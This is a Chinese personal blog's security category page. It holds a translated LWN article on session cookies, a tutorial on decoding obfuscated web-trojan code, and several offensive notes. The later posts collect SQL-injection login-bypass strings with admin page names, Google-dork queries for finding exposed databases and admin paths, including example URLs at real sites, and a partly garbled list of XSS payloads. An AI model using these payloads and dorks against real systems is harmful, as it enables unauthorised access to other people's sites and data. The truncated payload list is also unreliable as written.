C++博客-小默-随笔分类-Security

Session cookies for web applications

小默 — Sat, 08 Oct 2011 23:14:00 GMT

Session cookies for web applications [http://lwn.net/Articles/283383/]
By Jake Edge
May 21, 2008

Two weeks ago on this page, we reported on some Wordpress vulnerabilities that were caused by incorrectly generating authentication cookies. The article was a bit light on details about such cookies, so this follow-up hopes to remedy that. In addition, Steven Murdoch, who discovered both of the holes, recently presented a paper on a new cookie technique that provides some additional safeguards over other schemes.

两周前在此页上，我们报道了由不正确生成的身份验证 cookies 引起的一些 Wordpress 漏洞。那篇文档对这些 cookies 的细节描述略少，这篇后续的文章希望能解决这个问题。另外，发现这些漏洞的 Steven Murdoch，最近发表了篇关于一种新的 cookie 技术的文章，文章提供了其他方案之`上`的一些额外保护措施。

HTTP is a stateless protocol which means that any application that wishes to track multiple requests as a single session must provide its own way to link those requests. This is typically done through cookies, which are opaque blobs of data that are stored by browsers. Cookies are sent to the browser as part of an HTTP response, usually after some kind of authentication is successful. The browser associates the cookie with the URL of the site so that it can send the cookie value back to the server on each subsequent request.

HTTP 是一种无状态的协议，这意味着任何希望跟踪多个请求作为单个会话的应用程序，必须提供自己的方式来链接这些请求。这通常通过 cookies 来完成，cookies 是浏览器存储的不透明的数据块。通常，在某种身份认证成功后，cookies 被作为一个 HTTP 响应的一部分发送给浏览器。浏览器把 cookie 和对应网站的 URL 关联起来，以便它可以在每个后续请求中回送 cookie 值到服务器。

Servers can then use the value as a key into some kind of persistent storage so that all requests that contain that cookie value are treated as belonging to a particular session. In particular, it represents that the user associated with that session has correctly authenticated. The cookie lasts until it expires or is deleted by the user. When that happens, the user must re-authenticate to get a new cookie which also starts a new session. Users find this annoying if it happens too frequently, so expirations are often quite long.

然后，服务器可以`用某种持久性存储的键`使用该值，使得所有包含该 cookie 值的请求，被视为属于同一个特定会话。特别是，它代表和该会话关联的那个已经正确通过身份验证的用户。一个 cookie 一直存在，直到过期或被用户删除。此时，用户必须重新进行身份验证，获取一个新 cookie，同时开始一个新会话。如果它发生的过于频繁，会让用户感到恼人，所以到期时间通常相当长。

If the user explicitly logs out of the application, any server-side resources that are being used to store state information can be freed, but that is often not the case. Users will generally just close their browser (or tab) while still being logged in. It is also convenient for users to be allowed multiple concurrent sessions, generally from multiple computers, which will cause the number of sessions stored to be larger, perhaps much larger, than the number of users.

如果用户显式地登出应用程序，任何用来存储状态信息的服务器端资源会被释放，但情况经常不是这样。用户通常只是关闭他们的浏览器（或标签页），当仍在登录状态时。这也允许用户方便地，从不同的计算机上使用多个并发会话。这将导致存储更大的会话数量，也许比用户数量大许多。

Applications could restrict the number of sessions allowed by a user, or ratchet the expiration value way down, but they typically do not for user convenience. This allows for a potential denial of service when an attacker creates so many sessions that the server runs out of persistent storage. For this reason, stateless session cookies [PDF][http://prisms.cs.umass.edu/~kevinfu/papers/webauth_tr.pdf] were created.

应用程序可以限制允许一个用户使用的会话数，或者``，但它们通常不方便用户使用。这允许一个潜在的拒绝服务，当一个攻击者创建太多会话，以至于服务器用完持久性存储时。出于这个原因，无状态会话 cookies 被创建。

Stateless session cookies store all of the state information in the cookie itself, so that the server need not keep anything in the database, filesystem, or memory. The data in the cookie must be encoded in such a way that they cannot be forged, otherwise attackers could create cookies that allow them access they should not have. This is essentially where Wordpress went wrong. By not implementing stateless session cookies correctly, a valid cookie for one user could be modified into a valid cookie for a different user.

无状态会话 cookies 把所有状态信息存储到 cookie 本身，使服务器不需要在数据库、文件系统或内存中保存任何信息。Cookie 中的数据必须以不能被伪造的方式编码，否则攻击者可以创建允许他们访问不应该访问内容的 cookies 。实际上这就是 Wordpress 出问题的地方。由于没有正确使用无状态会话 cookies ，一个用户的有效 cookie 可以被修改成另一个不同用户的有效 cookie 。

A stateless session cookie has the state data and expiration "in the clear" followed by a secure hash (SHA-256 for example) of those same values along with a key known only by the server. When the server receives the cookie value, it can calculate the hash and if it matches, proceed to use the state information. Because the secret is not known, an attacker cannot create their own cookies with values of their choosing.

一个无状态的会话 cookie 有状态数据和明确的到期时间，后跟一个安全哈希值（例如 SHA-256），该哈希值和只有服务器知道的一个键`对应`。当服务器接收到 cookie 值，会计算哈希值，如果匹配，继续使用其中的状态信息。由于这个密钥是未知的，攻击者不能使用他们选择的值创建自己的 cookies 。

The other side of that coin is that an attacker can create spoofed cookies if they know the secret. Murdoch wanted to extend the concept such that even getting access to the secret, through a SQL injection or other web application flaw, would not feasibly allow an attacker to create a spoofed cookie. The result is hardened stateless session cookies [PDF][http://www.cl.cam.ac.uk/~sjm217/papers/protocols08cookies.pdf].

硬币的另一面是，如果攻击者知道密钥，可以创建欺骗性的 cookies 。Murdoch 希望扩展概念，使得通过 SQL 注入或其它 web 应用漏洞访问密钥后，攻击者也无法创建一个欺骗性的 cookie。结果就是强化的无状态会话 cookies 。

The basic idea behind the scheme is to add an additional field to stateless session cookies that corresponds to an authenticator generated when an account is first set up. This authenticator is generated from the password at account creation by iteratively calculating the cryptographic hash of the password and a long salt value.

该方案背后的基本思路是，给无状态会话 cookie 增加一个额外的字段，这个字段和账户首次设置时生成的一个`身份验证器`对应。身份验证器由创建账户时的密码生成，生成方法是，迭代计算密码的加密哈希和一个长 salt 值。

Salt is a random string—usually just a few characters long—that is added to a password before it gets hashed, then stored with the password in the clear. It is used to eliminate the use of rainbow tables to crack passwords. Hardened stateless session cookies use a 128-bit salt value, then repeatedly calculate HASH(prev|salt), where prev is the password the first time through and the hash value from the previous calculation on each subsequent iteration.

Salt 是一个随机字符串——通常只有几个字符长——它在被计算哈希值前添加到密码中，然后以明文形式和密码一起存储。它是用来杜绝使用彩虹表破解密码的。`硬化`的无状态会话 cookies 使用128位 salt 值，然后迭代计算 HASH(prev|salt) ，其中 prev 在第一次迭代时是密码，在以后每次迭代中是上次计算的 hash 值。

The number of iterations is large, 256 for example, but not a secret. Once that value is calculated, it is hashed one last time, without the salt, and then stored in the user table as the authenticator. When the cookie value is created after a successful authentication, only the output of the iterative hash itself is placed in the cookie, not the authenticator that is stored in the database. Cookie verification then must do the standard stateless session cookie hash verification, to ensure that the values have not been manipulated, then hash the value in the cookie to verify against authenticator in the database.

迭代次数是个大的值，例如256，但这不是保密的。值被计算出来后，再不使用 salt 哈希一次，然后作为身份验证器存储到用户表中。当 cookie 通过一次成功认证被创建后，只有输出的迭代哈希值被保存在 cookie 中，而不保存数据库中的身份验证器。Cookie 验证必须进行标准的无状态会话 cookie 哈希验证，来确保值没有被修改过，然后哈希 cookie 中的值和数据库中的身份验证器对比。

If it sounds complicated, it is; the performance of doing 256 hashes is also an issue, but it does protect against the secret key being lost. Because an attacker cannot calculate a valid authenticator value to put in the cookie (doing so would require breaking SHA-256), they cannot create their own spoofed cookies.

如果这听起来很复杂，确实；进行256次哈希的性能也是一个问题，但它确实能避免密钥丢失。因为攻击者无法计算一个有效的用户验证器放进 cookie 中（这样做需要突破 SHA-256），所以他们不能创建自己的欺骗 cookie 。

While it is not clear that the overhead of all of these hash calculations is warranted, it is an interesting extension to the stateless session cookie scheme. In his paper, Murdoch mentions some variations that could be used to further increase the security of the technique.

目前尚不清楚所有这些哈希计算的开销是否有必要，这是一个扩展无状态会话 cookie 的有趣方案。在他的文章中，Murdoch 提到了一些可以进一步提高该技术安全性的变化。

---
后面没看明白。
无状态会话 cookie 中的密钥可能被攻击者获取，authenticator 为什么不能被攻击者获取？获取这两个东西的难度有区别么？

---
TODO
| hash salt
| 彩虹表

小默 2011-10-09 07:14 发表评论

网马播报url

小默 — Fri, 20 Aug 2010 07:48:00 GMT

网马播报
http://log.mtian.net/
http://bbs.ikaka.com/showforum-20039.aspx
http://bbs.kafan.cn/forum-105-1.html

小默 2010-08-20 15:48 发表评论

网马解密大讲堂

小默 — Thu, 17 Jun 2010 05:22:00 GMT

form：瑞星卡卡技术社区
by: networkedition
======================
==================
Document.write
解密方法之alert方法：将网马代码中的document.write替换为alert。
eg.弹出对话框
   将此代码粘贴至freshow上操作区域，点击filter按钮，数据收集区3.css木马网址。
   点击3.css，进行check链接获取网页源代码。
   解密选项自然选择alpha2，点击decode进行解密
   点击UP按钮，将第一次解密的结果上翻至上操作区域进行第二次解密，解密选项选择esc，获得网马下载地址
   点击insert按钮，将解密出的网马地址插入数据收集区
   点击all按钮全选，再点击log按钮，将解密出日志格式化输出。

==================

Alpha2
该加密方式特征，代码开头:TYIIIIIIIIIIIIIIII
解密方法：一次Alpha2解密，一次esc解密

==================
shellcode
Shellcode网马特征：以相同分隔符（一般为%u）分隔的4位一组的十六进制字符串。
解密方法：
-对于直接使用%u来分隔的shellcode，通过两次esc可以直接解密出网马地址。
-对于通过类shellcode形式加密的网马，可以通过将代码进行适当处理（将代码替换为分隔符%u），再进行两次esc解密

==================
Base64

Base64加密原理：(摘自小聪大牛的博客)

把每三个字符，共24位2进制的ASCII码，折分成连续4个6位的ASCII码，再在每个ASCII码前面补00变成8位，最后对应一个码表来变成编码字符：

码表为（从0～63分别依次对应）：
0对应A………………………………………………………………………………63对应/
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
如果最后不够3位数，则补0，这时后面对应的编码是“=”
例：原文：                a                  b                c
　　ASCII码：    01100001 | 01100010 | 01100011
        分成4个：    011000 | 010110 | 001001 | 100011
        补足位数： 00011000 | 00010110 | 00001001 | 00100011
        数值大小：        24                22                9                  35
        对应编码：        Y                  W                J                  j
        编码结果：    YWJj

        如果只有ab两个字符，则第三个字符用全0来代替，这时结果为YWI=
        其实按照算法，=对应的编码其实也可以认为是为0，所以QQ==和QQAA用来解密的话，都是A，但是后面补0时用“=”是加密算法自己的设置，所以加密结果只能是QQ==而不会是QQAA
知道了加密原理，解密原理就反其道而行之就行了，呵呵……
-----------------
加密特征：

    大小写字母及数字混排，末尾可能包含等号
------------------
Base64解密方法：

    我们还是以一个实例来简单讲解base64解密方法，在实际的网马解密中，这种加密方式很少见。今天我们提供一种解密的方法，在这里用到的解密工具为：notepad++ 这个软件(附件为notepad++)。后续我们还会讲解使用一些其他的解密工具来解密base64。

======================
US-ASCII
加密特征：代码类似汉字，且代码中包含有
解密方法：使用freshow工具解密时，解密选项选择US-ASCII,直接一次decode即可

=====================
eval
解密方法：malzilla->Decode->Run script

=====================
swf

Flash网马简介：flash网马是利用Adobe Flash Player播放器严重安全漏洞，攻击者可以通过精心设计的特殊SWF文件实施攻击。浏览这些特殊构造的SWF文件，会运行攻击者设定的任意代码。

Flash网马解密方法：今天我们主要来讲解如何利用(HTMLDecoder)工具，对flash网马进行解密。此工具由小祥大牛开发的一款自动网马解密工具，内附有flash网马解密功能，在这里宣传一下小祥大牛哈。工具下载见附件，本次讲解不提供具体的swf文件下载，防止一些网友不明，胡乱运行导致系统中毒。主要讲解对于flash网马如何解密的方法.

功能-执行：A>PDF/CWS/Zlib Extractor

======================
PDF

pdf漏洞简介：PDF是由“Adobe Acrobat”制作的，它存在一个攻击漏洞——可以在PDF文档中，利用“Adobe Acrobat”提供的Javascript脚本功能，执行任意攻击命令。
解密方法：pdf网马和swf网马一样，解密工具都是可以使用htmldecoder工具，解密方法和网马解密高级篇(SWF解密)一样。今天讲解的这个pdf网马，可以直接使用freshow这个工具来解密，因为这个pdf包含的shellcode直接可以通过记事本看到。小技巧：对于pdf或swf格式的文件我们可以通过记事本的方式打开，直接查看文件的源代码，你会有惊奇的发现，尤其是网马解密，里面说不定就有你要的网马地址呢，呵呵。本次讲解同样不提供pdf文件的下载，以免不明网友，下载后运行而导致系统中招。

.pdf源文件中复制出来的shellcode代码--带密钥的shellcode--FreShow

小默 2010-06-17 13:22 发表评论

'or'='or'经典漏洞攻击

小默 — Fri, 14 May 2010 23:52:00 GMT

/**
*常见模式
**/
'or'='or'
a'or'1=1--
'or 1=1--
"or 1=1--
or 1=1--
'or'a'='a
"or"a'='a
"or"a'='a
')or('a'='a

/**
*后台文件常见文件名
**/
admin
ad_login
ad_manage
addmember
adduser
adm_login
admin/admin
admin/admin_login
admin/index
admin/manage
adimin_admin
admin_edit
admin_index
admin_Login
login/...
...

/**
*关键字
**/
密码、用户名、后台账号、会员、会员ID、username、password。。。

/**
*例子
**/
intext:用户名 inurl:admin/login.asp

小默 2010-05-15 07:52 发表评论

google hack

小默 — Fri, 14 May 2010 23:50:00 GMT

/**
*语法
**/
allintext:验证码 4800
allintitle:后台登陆
cache:bit.edu.cn //现在不能用了貌似
define:html
filetype:pdf
info:bit.edu.cn
allinurl:movie //这个也用不了
link:nsfocus.com
site:nsfocus.com
related:nsfocus.com ///
-----
blue grass //逻辑与
blue -grass //非
blue or grass
"blue grass"
"bl?e gr?s"
blue grass +com
-----
http://www.googlesyndicatedsearch.com/u/berkeley

/**
*入侵
**/
绝对的路径输入保存的路径输入文件的内容 inurl:diy.asp
inurl:asp?id=
inurl:php?id= site:sohu.com
to parent directory inurl:inetpub
to parent directory mdb -google

///eg
//filetype:mdb
http://proisk.ru/Northwind.mdb

//to parent directory mdb site:edu.cn
http://netcourse.cug.edu.cn:7310/cug/fire_control/INC/_VTI_CNF/
http://netcourse.cug.edu.cn:7310

//to parent directory "conn.asp" site:edu.cn
http://www.tijmu.edu.cn/cn/dxzhx/new/admin/

//inurl:/inc+conn.asp
------

/**
*防范-----robot.txt
**/
intext:"User-agent:*" inurl:robot.txt
intext:"Mediapartners-Google" inurl:"robots.txt"
intext:"Disallow:" inurl:robots.txt
intext:"Allow:" inurl"robots.txt"

/**
*常用
**/
allinurl:bbs data
filetype:mdb inurl:database/data
filetype:inc conn
intitile:"index of" data/sh_history/bash_history/passwd

小默 2010-05-15 07:50 发表评论

【转】跨站例子

小默 — Fri, 14 May 2010 23:50:00 GMT

[1] >'>
[2] >">
[3]
///图片跨站
[4] >"'>
[5] >"'>

[6] " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="
[7] -->
[8] '+alert('Watchfire XSS Test Successful')+'
[9] "+alert('Watchfire XSS Test Successful')+"
[10] >'><%00script>alert('Watchfire XSS Test Successful') (.NET 1.1 specific variant)
[11] >"><%00script>alert("Watchfire XSS Test Successful") (.NET 1.1 specific variant)
[12] >+ACI-+AD4-+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-
[13] %A7%A2%BE%Bc%F3%E3%F2%E9%F0%F4%Be%E1%Ec%E5%F2%F4%A8%A7Watchfire%20XSS%20Test%20Successful%A7%A9%Bc%Af%F3%E3%F2%E9%F0%F4%Be

///-------------------------------------
exec('Updata ['+@t+'] set ['+@c+'] = rtrim(convert(varchar,['+#c+']))') ???
cast(">

C++博客-小默-随笔分类-Security

Session cookies for web applications

网马播报url

网马解密大讲堂

'or'='or'经典漏洞攻击

google hack

【转】跨站 例子

【转】跨站例子